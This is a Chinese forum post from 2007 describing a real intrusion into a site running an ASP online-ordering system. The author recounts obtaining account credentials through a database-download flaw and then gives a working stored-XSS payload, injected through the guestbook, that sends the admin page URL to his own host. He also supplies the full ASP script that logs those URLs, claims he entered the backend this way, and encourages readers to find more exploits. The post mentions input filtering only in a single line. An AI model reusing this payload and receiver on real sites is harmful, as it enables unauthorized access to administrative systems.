|
楼主 |
发表于 2007-12-10 17:26:11
|
显示全部楼层
|阅读模式
来自 江苏省南京市
序:这个是几个月前搞的,今天翻电脑看到顺便整理一下发上来。几个月前,工作原因需要一个asp网上订餐系统,好不容易找到个编写很不错的,但官网只能下载到演示版,看了一下居然还有低级的爆库漏洞。找到此系统在北航试点的一个站,轻松获取了帐号密码,但问题是死活找不到后台管理登陆地址。入侵网站时经常出现过这种问题,这种情况很郁闷。在看了一下,发现该站留言本过滤不严可以跨站,于是一条获取后台路径的思路出现了:
原理:很简单,写入一个特殊js留言,获取到当前路径(访问到这条留言的一般只有两个地方:留言本本身页面和后台管理页面)并以此为参数发送到自己站点的asp页面,后者通过fso将所获取的路径记录到文本里。
条件:一个支持fso的asp空间
例:对方留言本地址:http://www.abc.com/guestbook.asp
自己空间地址:http://www.123.com
步骤1:在对方留言本中插入:
<script>window.open(\"http://www.123.com/url.asp?url=\"+self.location)</script>
步骤2:在自己空间根目录下上传一个文件 url.asp
代码如下:
<%
url=request(\"url\")
if url<>\"http://www.abc.com/guestbook.asp\" then
'这里网址为对方留言本地址,当留言本页面访问时也会提交记录,所以屏蔽掉提交的留言本地址
str=Request.ServerVariables(\"PATH_TRANSLATED\")
'取出目前执行程序所在的实际路径及文件名称
nIndex = InStrRev(str,\"\\\")
'取得最后一个“\\”的位置
If (nIndex >0) Then
PathInfo = Left(str,nIndex)
'确定生成文件的存放路径
End If
filename = PathInfo & \"fso.txt\"
'设置文件的实际存放路径以及文件名称
Set fso = CreateObject(\"Scripting.FileSystemObject\")
'使用 Server.CreateObject创建 FSO对象模式
Set newfile = fso.OpenTextFile(filename,3, True)
'opentextfile第二个参数为1,代表读;为2,代表写;为8,代表追加
newfile.writeLine (url)
'将获取的内容写入生成文件
Set fso = Nothing
'释放创建的对象
newfile.close
end if
%>
<script>window.opener=null;window.close();</script>
<!--关闭当前页面-->
代码中附带了讲解,稍微接触到一点代码语言的都能看懂。
步骤3:等待。等到管理员通过管理后台登陆时,即可得到后台路径,由于session验证失败此路径一般都跳转到后台登陆地址。
后记:前面所说的那个网站,我通过此法成功进入后台。本文只是跨站利用思路之一,还有许多可利用之处就靠大家自己琢磨了。防范也很简单,只要注意字符过滤就行了。 |
|